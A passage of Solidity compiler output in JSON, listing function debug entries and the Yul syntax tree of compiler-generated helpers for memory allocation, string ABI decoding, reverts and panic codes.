"returnSlots": 1
},
"update_storage_value_t_uint256_to_t_uint256": {
"entryPoint": 1940,
"id": null,
"parameterSlots": 3,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 1349,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 1405,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint8": {
"entryPoint": 1252,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"zero_value_for_split_t_uint256": {
"entryPoint": 1983,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nativeSrc": "0:15807:1",
"nodeType": "YulBlock",
"src": "0:15807:1",
"statements": [
{
"body": {
"nativeSrc": "47:35:1",
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nativeSrc": "57:19:1",
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nativeSrc": "73:2:1",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nativeSrc": "67:5:1",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nativeSrc": "67:9:1",
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nativeSrc": "57:6:1",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nativeSrc": "7:75:1",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nativeSrc": "40:6:1",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nativeSrc": "177:28:1",
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "194:1:1",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "197:1:1",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nativeSrc": "187:6:1",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nativeSrc": "187:12:1",
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nativeSrc": "187:12:1",
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nativeSrc": "88:117:1",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nativeSrc": "300:28:1",
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "317:1:1",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "320:1:1",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nativeSrc": "310:6:1",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nativeSrc": "310:12:1",
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nativeSrc": "310:12:1",
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nativeSrc": "211:117:1",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nativeSrc": "423:28:1",
"nodeType": "YulBlock",
"src": "423:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "440:1:1",
"nodeType": "YulLiteral",
"src": "440:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "443:1:1",
"nodeType": "YulLiteral",
"src": "443:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nativeSrc": "433:6:1",
"nodeType": "YulIdentifier",
"src": "433:6:1"
},
"nativeSrc": "433:12:1",
"nodeType": "YulFunctionCall",
"src": "433:12:1"
},
"nativeSrc": "433:12:1",
"nodeType": "YulExpressionStatement",
"src": "433:12:1"
}
]
},
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nativeSrc": "334:117:1",
"nodeType": "YulFunctionDefinition",
"src": "334:117:1"
},
{
"body": {
"nativeSrc": "546:28:1",
"nodeType": "YulBlock",
"src": "546:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "563:1:1",
"nodeType": "YulLiteral",
"src": "563:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "566:1:1",
"nodeType": "YulLiteral",
"src": "566:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nativeSrc": "556:6:1",
"nodeType": "YulIdentifier",
"src": "556:6:1"
},
"nativeSrc": "556:12:1",
"nodeType": "YulFunctionCall",
"src": "556:12:1"
},
"nativeSrc": "556:12:1",
"nodeType": "YulExpressionStatement",
"src": "556:12:1"
}
]
},
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nativeSrc": "457:117:1",
"nodeType": "YulFunctionDefinition",
"src": "457:117:1"
},
{
"body": {
"nativeSrc": "628:54:1",
"nodeType": "YulBlock",
"src": "628:54:1",
"statements": [
{
"nativeSrc": "638:38:1",
"nodeType": "YulAssignment",
"src": "638:38:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nativeSrc": "656:5:1",
"nodeType": "YulIdentifier",
"src": "656:5:1"
},
{
"kind": "number",
"nativeSrc": "663:2:1",
"nodeType": "YulLiteral",
"src": "663:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "add",
"nativeSrc": "652:3:1",
"nodeType": "YulIdentifier",
"src": "652:3:1"
},
"nativeSrc": "652:14:1",
"nodeType": "YulFunctionCall",
"src": "652:14:1"
},
{
"arguments": [
{
"kind": "number",
"nativeSrc": "672:2:1",
"nodeType": "YulLiteral",
"src": "672:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "not",
"nativeSrc": "668:3:1",
"nodeType": "YulIdentifier",
"src": "668:3:1"
},
"nativeSrc": "668:7:1",
"nodeType": "YulFunctionCall",
"src": "668:7:1"
}
],
"functionName": {
"name": "and",
"nativeSrc": "648:3:1",
"nodeType": "YulIdentifier",
"src": "648:3:1"
},
"nativeSrc": "648:28:1",
"nodeType": "YulFunctionCall",
"src": "648:28:1"
},
"variableNames": [
{
"name": "result",
"nativeSrc": "638:6:1",
"nodeType": "YulIdentifier",
"src": "638:6:1"
}
]
}
]
},
"name": "round_up_to_mul_of_32",
"nativeSrc": "580:102:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nativeSrc": "611:5:1",
"nodeType": "YulTypedName",
"src": "611:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "result",
"nativeSrc": "621:6:1",
"nodeType": "YulTypedName",
"src": "621:6:1",
"type": ""
}
],
"src": "580:102:1"
},
{
"body": {
"nativeSrc": "716:152:1",
"nodeType": "YulBlock",
"src": "716:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "733:1:1",
"nodeType": "YulLiteral",
"src": "733:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "736:77:1",
"nodeType": "YulLiteral",
"src": "736:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "726:6:1",
"nodeType": "YulIdentifier",
"src": "726:6:1"
},
"nativeSrc": "726:88:1",
"nodeType": "YulFunctionCall",
"src": "726:88:1"
},
"nativeSrc": "726:88:1",
"nodeType": "YulExpressionStatement",
"src": "726:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "830:1:1",
"nodeType": "YulLiteral",
"src": "830:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nativeSrc": "833:4:1",
"nodeType": "YulLiteral",
"src": "833:4:1",
"type": "",
"value": "0x41"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "823:6:1",
"nodeType": "YulIdentifier",
"src": "823:6:1"
},
"nativeSrc": "823:15:1",
"nodeType": "YulFunctionCall",
"src": "823:15:1"
},
"nativeSrc": "823:15:1",
"nodeType": "YulExpressionStatement",
"src": "823:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "854:1:1",
"nodeType": "YulLiteral",
"src": "854:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nativeSrc": "857:4:1",
"nodeType": "YulLiteral",
"src": "857:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nativeSrc": "847:6:1",
"nodeType": "YulIdentifier",
"src": "847:6:1"
},
"nativeSrc": "847:15:1",
"nodeType": "YulFunctionCall",
"src": "847:15:1"
},
"nativeSrc": "847:15:1",
"nodeType": "YulExpressionStatement",
"src": "847:15:1"
}
]
},
"name": "panic_error_0x41",
"nativeSrc": "688:180:1",
"nodeType": "YulFunctionDefinition",
"src": "688:180:1"
},
{
"body": {
"nativeSrc": "917:238:1",
"nodeType": "YulBlock",
"src": "917:238:1",
"statements": [
{
"nativeSrc": "927:58:1",
"nodeType": "YulVariableDeclaration",
"src": "927:58:1",
"value": {
"arguments": [
{
"name": "memPtr",
"nativeSrc": "949:6:1",
"nodeType": "YulIdentifier",
"src": "949:6:1"
},
{
"arguments": [
{
"name": "size",
"nativeSrc": "979:4:1",
"nodeType": "YulIdentifier",
"src": "979:4:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nativeSrc": "957:21:1",
"nodeType": "YulIdentifier",
"src": "957:21:1"
},
"nativeSrc": "957:27:1",
"nodeType": "YulFunctionCall",
"src": "957:27:1"
}
],
"functionName": {
"name": "add",
"nativeSrc": "945:3:1",
"nodeType": "YulIdentifier",
"src": "945:3:1"
},
"nativeSrc": "945:40:1",
"nodeType": "YulFunctionCall",
"src": "945:40:1"
},
"variables": [
{
"name": "newFreePtr",
"nativeSrc": "931:10:1",
"nodeType": "YulTypedName",
"src": "931:10:1",
"type": ""
}
]
},
{
"body": {
"nativeSrc": "1096:22:1",
"nodeType": "YulBlock",
"src": "1096:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nativeSrc": "1098:16:1",
"nodeType": "YulIdentifier",
"src": "1098:16:1"
},
"nativeSrc": "1098:18:1",
"nodeType": "YulFunctionCall",
"src": "1098:18:1"
},
"nativeSrc": "1098:18:1",
"nodeType": "YulExpressionStatement",
"src": "1098:18:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "newFreePtr",
"nativeSrc": "1039:10:1",
"nodeType": "YulIdentifier",
"src": "1039:10:1"
},
{
"kind": "number",
"nativeSrc": "1051:18:1",
"nodeType": "YulLiteral",
"src": "1051:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nativeSrc": "1036:2:1",
"nodeType": "YulIdentifier",
"src": "1036:2:1"
},
"nativeSrc": "1036:34:1",
"nodeType": "YulFunctionCall",
"src": "1036:34:1"
},
{
"arguments": [
{
"name": "newFreePtr",
"nativeSrc": "1075:10:1",
"nodeType": "YulIdentifier",
"src": "1075:10:1"
},
{
"name": "memPtr",
"nativeSrc": "1087:6:1",
"nodeType": "YulIdentifier",
"src": "1087:6:1"
}
],
"functionName": {
"name": "lt",
"nativeSrc": "1072:2:1",
"nodeType": "YulIdentifier",
"src": "1072:2:1"
},
"nativeSrc": "1072:22:1",
"nodeType": "YulFunctionCall",
"src": "1072:22:1"
}
],
"functionName": {
"name": "or",
"nativeSrc": "1033:2:1",
"nodeType": "YulIdentifier",
"src": "1033:2:1"
},
"nativeSrc": "1033:62:1",
"nodeType": "YulFunctionCall",
"src": "1033:62:1"
},
"nativeSrc": "1030:88:1",
"nodeType": "YulIf",
"src": "1030:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nativeSrc": "1134:2:1",
"nodeType": "YulLiteral",
"src": "1134:2:1",
"type": "",
"value": "64"
},
{
"name": "newFreePtr",
"nativeSrc": "1138:10:1",
"nodeType": "YulIdentifier",
"src": "1138:10:1"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "1127:6:1",
"nodeType": "YulIdentifier",
"src": "1127:6:1"
},
"nativeSrc": "1127:22:1",
"nodeType": "YulFunctionCall",
"src": "1127:22:1"
},
"nativeSrc": "1127:22:1",
"nodeType": "YulExpressionStatement",
"src": "1127:22:1"
}
]
},
"name": "finalize_allocation",
"nativeSrc": "874:281:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nativeSrc": "903:6:1",
"nodeType": "YulTypedName",
"src": "903:6:1",
"type": ""
},
{
"name": "size",
"nativeSrc": "911:4:1",
"nodeType": "YulTypedName",
"src": "911:4:1",
"type": ""
}
],
"src": "874:281:1"
},
{
"body": {
"nativeSrc": "1202:88:1",
"nodeType": "YulBlock",
"src": "1202:88:1",
"statements": [
{
"nativeSrc": "1212:30:1",
"nodeType": "YulAssignment",
"src": "1212:30:1",
"value": {
"arguments": [],
"functionName": {
"name": "allocate_unbounded",
"nativeSrc": "1222:18:1",
"nodeType": "YulIdentifier",
"src": "1222:18:1"
},
"nativeSrc": "1222:20:1",
"nodeType": "YulFunctionCall",
"src": "1222:20:1"
},
"variableNames": [
{
"name": "memPtr",
"nativeSrc": "1212:6:1",
"nodeType": "YulIdentifier",
"src": "1212:6:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "memPtr",
"nativeSrc": "1271:6:1",
"nodeType": "YulIdentifier",
"src": "1271:6:1"
},
{
"name": "size",
"nativeSrc": "1279:4:1",
"nodeType": "YulIdentifier",
"src": "1279:4:1"
}
],
"functionName": {
"name": "finalize_allocation",
"nativeSrc": "1251:19:1",
"nodeType": "YulIdentifier",
"src": "1251:19:1"
},
"nativeSrc": "1251:33:1",
"nodeType": "YulFunctionCall",
"src": "1251:33:1"
},
"nativeSrc": "1251:33:1",
"nodeType": "YulExpressionStatement",
"src": "1251:33:1"
}
]
},
"name": "allocate_memory",
"nativeSrc": "1161:129:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "size",
"nativeSrc": "1186:4:1",
"nodeType": "YulTypedName",
"src": "1186:4:1",
"type": ""
}
],
"returnVariables": [
{
"name": "memPtr",
"nativeSrc": "1195:6:1",
"nodeType": "YulTypedName",
"src": "1195:6:1",
"type": ""
}
],
"src": "1161:129:1"
},
{
"body": {
"nativeSrc": "1363:241:1",
"nodeType": "YulBlock",
"src": "1363:241:1",
"statements": [
{
"body": {
"nativeSrc": "1468:22:1",
"nodeType": "YulBlock",
"src": "1468:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nativeSrc": "1470:16:1",
"nodeType": "YulIdentifier",
"src": "1470:16:1"
},
"nativeSrc": "1470:18:1",
"nodeType": "YulFunctionCall",
"src": "1470:18:1"
},
"nativeSrc": "1470:18:1",
"nodeType": "YulExpressionStatement",
"src": "1470:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "length",
"nativeSrc": "1440:6:1",
"nodeType": "YulIdentifier",
"src": "1440:6:1"
},
{
"kind": "number",
"nativeSrc": "1448:18:1",
"nodeType": "YulLiteral",
"src": "1448:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nativeSrc": "1437:2:1",
"nodeType": "YulIdentifier",
"src": "1437:2:1"
},
"nativeSrc": "1437:30:1",
"nodeType": "YulFunctionCall",
"src": "1437:30:1"
},
"nativeSrc": "1434:56:1",
"nodeType": "YulIf",
"src": "1434:56:1"
},
{
"nativeSrc": "1500:37:1",
"nodeType": "YulAssignment",
"src": "1500:37:1",
"value": {
"arguments": [
{
"name": "length",
"nativeSrc": "1530:6:1",
"nodeType": "YulIdentifier",
"src": "1530:6:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nativeSrc": "1508:21:1",
"nodeType": "YulIdentifier",
"src": "1508:21:1"
},
"nativeSrc": "1508:29:1",
"nodeType": "YulFunctionCall",
"src": "1508:29:1"
},
"variableNames": [
{
"name": "size",
"nativeSrc": "1500:4:1",
"nodeType": "YulIdentifier",
"src": "1500:4:1"
}
]
},
{
"nativeSrc": "1574:23:1",
"nodeType": "YulAssignment",
"src": "1574:23:1",
"value": {
"arguments": [
{
"name": "size",
"nativeSrc": "1586:4:1",
"nodeType": "YulIdentifier",
"src": "1586:4:1"
},
{
"kind": "number",
"nativeSrc": "1592:4:1",
"nodeType": "YulLiteral",
"src": "1592:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nativeSrc": "1582:3:1",
"nodeType": "YulIdentifier",
"src": "1582:3:1"
},
"nativeSrc": "1582:15:1",
"nodeType": "YulFunctionCall",
"src": "1582:15:1"
},
"variableNames": [
{
"name": "size",
"nativeSrc": "1574:4:1",
"nodeType": "YulIdentifier",
"src": "1574:4:1"
}
]
}
]
},
"name": "array_allocation_size_t_string_memory_ptr",
"nativeSrc": "1296:308:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "length",
"nativeSrc": "1347:6:1",
"nodeType": "YulTypedName",
"src": "1347:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "size",
"nativeSrc": "1358:4:1",
"nodeType": "YulTypedName",
"src": "1358:4:1",
"type": ""
}
],
"src": "1296:308:1"
},
{
"body": {
"nativeSrc": "1672:184:1",
"nodeType": "YulBlock",
"src": "1672:184:1",
"statements": [
{
"nativeSrc": "1682:10:1",
"nodeType": "YulVariableDeclaration",
"src": "1682:10:1",
"value": {
"kind": "number",
"nativeSrc": "1691:1:1",
"nodeType": "YulLiteral",
"src": "1691:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "i",
"nativeSrc": "1686:1:1",
"nodeType": "YulTypedName",
"src": "1686:1:1",
"type": ""
}
]
},
{
"body": {
"nativeSrc": "1751:63:1",
"nodeType": "YulBlock",
"src": "1751:63:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nativeSrc": "1776:3:1",
"nodeType": "YulIdentifier",
"src": "1776:3:1"
},
{
"name": "i",
"nativeSrc": "1781:1:1",
"nodeType": "YulIdentifier",
"src": "1781:1:1"
}
],
"functionName": {
"name": "add",
"nativeSrc": "1772:3:1",
"nodeType": "YulIdentifier",
"src": "1772:3:1"
},
"nativeSrc": "1772:11:1",
"nodeType": "YulFunctionCall",
"src": "1772:11:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "src",
"nativeSrc": "1795:3:1",
"nodeType": "YulIdentifier",
"src": "1795:3:1"
},
{
"name": "i",
"nativeSrc": "1800:1:1",
"nodeType": "YulIdentifier",
"src": "1800:1:1"
}
],
"functionName": {
"name": "add",
"nativeSrc": "1791:3:1",
"nodeType": "YulIdentifier",
"src": "1791:3:1"
},
"nativeSrc": "1791:11:1",
"nodeType": "YulFunctionCall",
"src": "1791:11:1"
}
],
"functionName": {
"name": "mload",
"nativeSrc": "1785:5:1",
"nodeType": "YulIdentifier",
"src": "1785:5:1"
},
"nativeSrc": "1785:18:1",
"nodeType": "YulFunctionCall",
"src": "1785:18:1"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "1765:6:1",
"nodeType": "YulIdentifier",
"src": "1765:6:1"
},
"nativeSrc": "1765:39:1",
"nodeType": "YulFunctionCall",
"src": "1765:39:1"
},
"nativeSrc": "1765:39:1",
"nodeType": "YulExpressionStatement",
"src": "1765:39:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nativeSrc": "1712:1:1",
"nodeType": "YulIdentifier",
"src": "1712:1:1"
},
{
"name": "length",
"nativeSrc": "1715:6:1",
"nodeType": "YulIdentifier",
"src": "1715:6:1"
}
],
"functionName": {
"name": "lt",
"nativeSrc": "1709:2:1",
"nodeType": "YulIdentifier",
"src": "1709:2:1"
},
"nativeSrc": "1709:13:1",
"nodeType": "YulFunctionCall",
"src": "1709:13:1"
},
"nativeSrc": "1701:113:1",
"nodeType": "YulForLoop",
"post": {
"nativeSrc": "1723:19:1",
"nodeType": "YulBlock",
"src": "1723:19:1",
"statements": [
{
"nativeSrc": "1725:15:1",
"nodeType": "YulAssignment",
"src": "1725:15:1",
"value": {
"arguments": [
{
"name": "i",
"nativeSrc": "1734:1:1",
"nodeType": "YulIdentifier",
"src": "1734:1:1"
},
{
"kind": "number",
"nativeSrc": "1737:2:1",
"nodeType": "YulLiteral",
"src": "1737:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nativeSrc": "1730:3:1",
"nodeType": "YulIdentifier",
"src": "1730:3:1"
},
"nativeSrc": "1730:10:1",
"nodeType": "YulFunctionCall",
"src": "1730:10:1"
},
"variableNames": [
{
"name": "i",
"nativeSrc": "1725:1:1",
"nodeType": "YulIdentifier",
"src": "1725:1:1"
}
]
}
]
},
"pre": {
"nativeSrc": "1705:3:1",
"nodeType": "YulBlock",
"src": "1705:3:1",
"statements": []
},
"src": "1701:113:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nativeSrc": "1834:3:1",
"nodeType": "YulIdentifier",
"src": "1834:3:1"
},
{
"name": "length",
"nativeSrc": "1839:6:1",
"nodeType": "YulIdentifier",
"src": "1839:6:1"
}
],
"functionName": {
"name": "add",
"nativeSrc": "1830:3:1",
"nodeType": "YulIdentifier",
"src": "1830:3:1"
},
"nativeSrc": "1830:16:1",
"nodeType": "YulFunctionCall",
"src": "1830:16:1"
},
{
"kind": "number",
"nativeSrc": "1848:1:1",
"nodeType": "YulLiteral",
"src": "1848:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "1823:6:1",
"nodeType": "YulIdentifier",
"src": "1823:6:1"
},
"nativeSrc": "1823:27:1",
"nodeType": "YulFunctionCall",
"src": "1823:27:1"
},
"nativeSrc": "1823:27:1",
"nodeType": "YulExpressionStatement",
"src": "1823:27:1"
}
]
},
"name": "copy_memory_to_memory_with_cleanup",
"nativeSrc": "1610:246:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nativeSrc": "1654:3:1",
"nodeType": "YulTypedName",
"src": "1654:3:1",
"type": ""
},
{
"name": "dst",
"nativeSrc": "1659:3:1",
"nodeType": "YulTypedName",
"src": "1659:3:1",
"type": ""
},
{
"name": "length",
"nativeSrc": "1664:6:1",
"nodeType": "YulTypedName",
"src": "1664:6:1",
"type": ""
}
],
"src": "1610:246:1"
},
{
"body": {
"nativeSrc": "1957:339:1",
"nodeType": "YulBlock",
"src": "1957:339:1",
"statements": [
{
"nativeSrc": "1967:75:1",
"nodeType": "YulAssignment",
"src": "1967:75:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "length",
"nativeSrc": "2034:6:1",
"nodeType": "YulIdentifier",
"src": "2034:6:1"
}
],
"functionName": {
"name": "array_allocation_size_t_string_memory_ptr",
"nativeSrc": "1992:41:1",
"nodeType": "YulIdentifier",
"src": "1992:41:1"
},
"nativeSrc": "1992:49:1",
"nodeType": "YulFunctionCall",
"src": "1992:49:1"
}
],
"functionName": {
"name": "allocate_memory",
"nativeSrc": "1976:15:1",
"nodeType": "YulIdentifier",
"src": "1976:15:1"
},
"nativeSrc": "1976:66:1",
"nodeType": "YulFunctionCall",
"src": "1976:66:1"
},
"variableNames": [
{
"name": "array",
"nativeSrc": "1967:5:1",
"nodeType": "YulIdentifier",
"src": "1967:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "array",
"nativeSrc": "2058:5:1",
"nodeType": "YulIdentifier",
"src": "2058:5:1"
},
{
"name": "length",
"nativeSrc": "2065:6:1",
"nodeType": "YulIdentifier",
"src": "2065:6:1"
}
],
"functionName": {
"name": "mstore",
"nativeSrc": "2051:6:1",
"nodeType": "YulIdentifier",
"src": "2051:6:1"
},
"nativeSrc": "2051:21:1",
"nodeType": "YulFunctionCall",
"src": "2051:21:1"
},
"nativeSrc": "2051:21:1",
"nodeType": "YulExpressionStatement",
"src": "2051:21:1"
},
{
"nativeSrc": "2081:27:1",
"nodeType": "YulVariableDeclaration",
"src": "2081:27:1",
"value": {
"arguments": [
{
"name": "array",
"nativeSrc": "2096:5:1",
"nodeType": "YulIdentifier",
"src": "2096:5:1"
},
{
"kind": "number",
"nativeSrc": "2103:4:1",
"nodeType": "YulLiteral",
"src": "2103:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nativeSrc": "2092:3:1",
"nodeType": "YulIdentifier",
"src": "2092:3:1"
},
"nativeSrc": "2092:16:1",
"nodeType": "YulFunctionCall",
"src": "2092:16:1"
},
"variables": [
{
"name": "dst",
"nativeSrc": "2085:3:1",
"nodeType": "YulTypedName",
"src": "2085:3:1",
"type": ""
}
]
},
{
"body": {
"nativeSrc": "2146:83:1",
"nodeType": "YulBlock",
"src": "2146:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nativeSrc": "2148:77:1",
"nodeType": "YulIdentifier",
"src": "2148:77:1"
},
"nativeSrc": "2148:79:1",
"nodeType": "YulFunctionCall",
"src": "2148:79:1"
},
"nativeSrc": "2148:79:1",
"nodeType": "YulExpressionStatement",
"src": "2148:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "src",
"nativeSrc": "2127:3:1",
"nodeType": "YulIdentifier",
"src": "2127:3:1"
},
{
"name": "length",
"nativeSrc": "2132:6:1",
"nodeType": "YulIdentifier",
"src": "2132:6:1"
}
],
"functionName": {
"name": "add",
"nativeSrc": "2123:3:1",
"nodeType": "YulIdentifier",
"src": "2123:3:1"
},
"nativeSrc": "2123:16:1",
"nodeType": "YulFunctionCall",
"src": "2123:16:1"
},
{
"name": "end",
"nativeSrc": "2141:3:1",
"nodeType": "YulIdentifier",
"src": "2141:3:1"
}
],
"functionName": {
"name": "gt",
"nativeSrc": "2120:2:1",
"nodeType": "YulIdentifier",
"src": "2120:2:1"
},
"nativeSrc": "2120:25:1",
"nodeType": "YulFunctionCall",
"src": "2120:25:1"
},
"nativeSrc": "2117:112:1",
"nodeType": "YulIf",
"src": "2117:112:1"
},
{
"expression": {
"arguments": [
{
"name": "src",
"nativeSrc": "2273:3:1",
"nodeType": "YulIdentifier",
"src": "2273:3:1"
},
{
"name": "dst",
"nativeSrc": "2278:3:1",
"nodeType": "YulIdentifier",
"src": "2278:3:1"
},
{
"name": "length",
"nativeSrc": "2283:6:1",
"nodeType": "YulIdentifier",
"src": "2283:6:1"
}
],
"functionName": {
"name": "copy_memory_to_memory_with_cleanup",
"nativeSrc": "2238:34:1",
"nodeType": "YulIdentifier",
"src": "2238:34:1"
},
"nativeSrc": "2238:52:1",
"nodeType": "YulFunctionCall",
"src": "2238:52:1"
},
"nativeSrc": "2238:52:1",
"nodeType": "YulExpressionStatement",
"src": "2238:52:1"
}
]
},
"name": "abi_decode_available_length_t_string_memory_ptr_fromMemory",
"nativeSrc": "1862:434:1",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nativeSrc": "1930:3:1",
"nodeType": "YulTypedName",
"src": "1930:3:1",
"type": ""
},
{
"name": "length",
"nativeSrc": "1935:6:1",
"nodeType": "YulTypedName",
"src": "1935:6:1",
"type": ""
},
{
"name": "end",
"nativeSrc": "1943:3:1",
"nodeType": "YulTypedName",
"src": "1943:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "array",
"nativeSrc": "1951:5:1",
"nodeType": "YulTypedName",
"src": "1951:5:1",
"type": ""
}
],
"src": "1862:434:1"
},
{
"body": {
"nativeSrc": "2389:282:1",
"nodeType": "YulBlock",
"src": "2389:282:1",
"statements": [
{
"body": {
"nativeSrc": "2438:83:1",
"nodeType": "YulBlock",
"src": "2438:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nativeSrc": "2440:77:1",
"nodeType": "YulIdentifier",
"src": "2440:77:1"
},
"nativeSrc": "2440:79:1",
"nodeType": "YulFunctionCall",
"src": "2440:79:1"
},
"nativeSrc": "2440:79:1",
"nodeType": "YulExpressionStatement",
"src": "2440:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "offset",
"nativeSrc": "2417:6:1",
"nodeType": "YulIdentifier",
"src": "2417:6:1"
},
{
"kind": "number",
"nativeSrc": "2425:4:1",
"nodeType": "YulLiteral",
"src": "2425:4:1",
"type": "",
"value": "0x1f"
}
],
"functionName": {
"name": "add",
"nativeSrc": "2413:3:1",
"nodeType": "YulIdentifier",
"src": "2413:3:1"
},
"nativeSrc": "2413:17:1",
"nodeType": "YulFunctionCall",
"src": "2413:17:1"
},
{
"name": "end",
"nativeSrc": "2432:3:1",
"nodeType": "YulIdentifier",
"src": "2432:3:1"
}
],
"functionName": {
"name": "slt",
"nativeSrc": "2409:3:1",
"nodeType": "YulIdentifier",
"src": "2409:3:1"
},
"nativeSrc": "2409:27:1",
"nodeType": "YulFunctionCall",
"src": "2409:27:1"
}
],
"functionName": {
"name": "iszero",
"nativeSrc": "2402:6:1",
"nodeType": "YulIdentifier",
"src": "2402:6:1"
},
"nativeSrc": "2402:35:1",
"nodeType": "YulFunctionCall",
